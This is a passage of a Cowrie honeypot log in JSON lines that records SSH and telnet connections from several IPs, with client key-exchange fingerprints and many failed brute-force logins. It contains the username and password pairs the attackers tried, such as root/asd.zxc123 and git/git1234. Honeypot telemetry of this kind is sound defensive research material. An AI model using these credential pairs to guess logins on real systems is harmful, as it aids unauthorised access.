a-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:08.467177Z","src_ip":"159.203.92.129","session":"7ecc6ba6ce0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"vinzoradmin301","message":"login attempt [ansible/vinzoradmin301] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:09.319997Z","src_ip":"159.203.92.129","session":"7ecc6ba6ce0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:10.656577Z","src_ip":"159.203.92.129","session":"7ecc6ba6ce0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":38179,"dst_ip":"159.203.135.109","dst_port":22,"session":"048088b365a3","protocol":"ssh","message":"New connection: 81.30.162.19:38179 (159.203.135.109:22) [session: 048088b365a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:20.428022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:20.434313Z","src_ip":"81.30.162.19","session":"048088b365a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:20.551028Z","src_ip":"81.30.162.19","session":"048088b365a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd.zxc123","message":"login attempt [root/asd.zxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:21.048195Z","src_ip":"81.30.162.19","session":"048088b365a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:22.167996Z","src_ip":"81.30.162.19","session":"048088b365a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52802,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0b6a787f305","protocol":"ssh","message":"New connection: 159.203.92.129:52802 (159.203.135.109:22) [session: f0b6a787f305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:33.963228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:34.073560Z","src_ip":"159.203.92.129","session":"f0b6a787f305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:34.076930Z","src_ip":"159.203.92.129","session":"f0b6a787f305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"visionlab","message":"login attempt [ansible/visionlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:34.440624Z","src_ip":"159.203.92.129","session":"f0b6a787f305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:35.507717Z","src_ip":"159.203.92.129","session":"f0b6a787f305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":47238,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a71b5994ae","protocol":"ssh","message":"New connection: 162.223.91.130:47238 (10.17.0.5:22) [session: f3a71b5994ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:40.421986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:40.425676Z","src_ip":"162.223.91.130","session":"f3a71b5994ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:40.443555Z","src_ip":"162.223.91.130","session":"f3a71b5994ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git1234","message":"login attempt [git/git1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:40.546669Z","src_ip":"162.223.91.130","session":"f3a71b5994ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:41.566900Z","src_ip":"162.223.91.130","session":"f3a71b5994ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":53258,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebe887fab37a","protocol":"ssh","message":"New connection: 50.99.170.152:53258 (159.203.135.109:22) [session: ebe887fab37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:46.549778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:46.555006Z","src_ip":"50.99.170.152","session":"ebe887fab37a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:46.612674Z","src_ip":"50.99.170.152","session":"ebe887fab37a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#","message":"login attempt [root/Admin#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:46.877531Z","src_ip":"50.99.170.152","session":"ebe887fab37a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:47.937227Z","src_ip":"50.99.170.152","session":"ebe887fab37a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46510,"dst_ip":"159.203.135.109","dst_port":22,"session":"1292e9895920","protocol":"ssh","message":"New connection: 159.203.92.129:46510 (159.203.135.109:22) [session: 1292e9895920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:57.478378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:57.483678Z","src_ip":"159.203.92.129","session":"1292e9895920","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:57.497907Z","src_ip":"159.203.92.129","session":"1292e9895920","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"w740925","message":"login attempt [ansible/w740925] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:57.536812Z","src_ip":"159.203.92.129","session":"1292e9895920","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":35751,"dst_ip":"159.203.135.109","dst_port":22,"session":"53ac3b3fc571","protocol":"ssh","message":"New connection: 2.57.121.25:35751 (159.203.135.109:22) [session: 53ac3b3fc571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:58.285230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:58.289562Z","src_ip":"2.57.121.25","session":"53ac3b3fc571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:58.392935Z","src_ip":"2.57.121.25","session":"53ac3b3fc571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:58.628934Z","src_ip":"159.203.92.129","session":"1292e9895920","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"daffodil","message":"login attempt [user/daffodil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:58.882967Z","src_ip":"2.57.121.25","session":"53ac3b3fc571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cvbhyjdf","message":"login attempt [user/cvbhyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:59.988688Z","src_ip":"2.57.121.25","session":"53ac3b3fc571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cute","message":"login attempt [user/cute] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:01.094413Z","src_ip":"2.57.121.25","session":"53ac3b3fc571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cumeater","message":"login attempt [user/cumeater] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:02.202002Z","src_ip":"2.57.121.25","session":"53ac3b3fc571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cueball","message":"login attempt [user/cueball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:03.309330Z","src_ip":"2.57.121.25","session":"53ac3b3fc571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:04.419393Z","src_ip":"2.57.121.25","session":"53ac3b3fc571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00134611129761,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:11.672968Z","src_ip":"45.186.135.53","session":"4fa31830d309","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":46747,"dst_ip":"159.203.135.109","dst_port":22,"session":"630df9d04ccc","protocol":"ssh","message":"New connection: 81.30.162.19:46747 (159.203.135.109:22) [session: 630df9d04ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:11.872965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:11.878510Z","src_ip":"81.30.162.19","session":"630df9d04ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00142097473145,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:11.953876Z","src_ip":"45.186.135.53","session":"a421410ee5ee","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:12.000478Z","src_ip":"81.30.162.19","session":"630df9d04ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":20731,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e45682f1044","protocol":"telnet","message":"New connection: 45.186.135.53:20731 (159.203.135.109:23) [session: 9e45682f1044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:12.453165Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial","message":"login attempt [root/vicidial] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:12.501959Z","src_ip":"81.30.162.19","session":"630df9d04ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:13.622885Z","src_ip":"81.30.162.19","session":"630df9d04ccc","protocol":"ssh"}
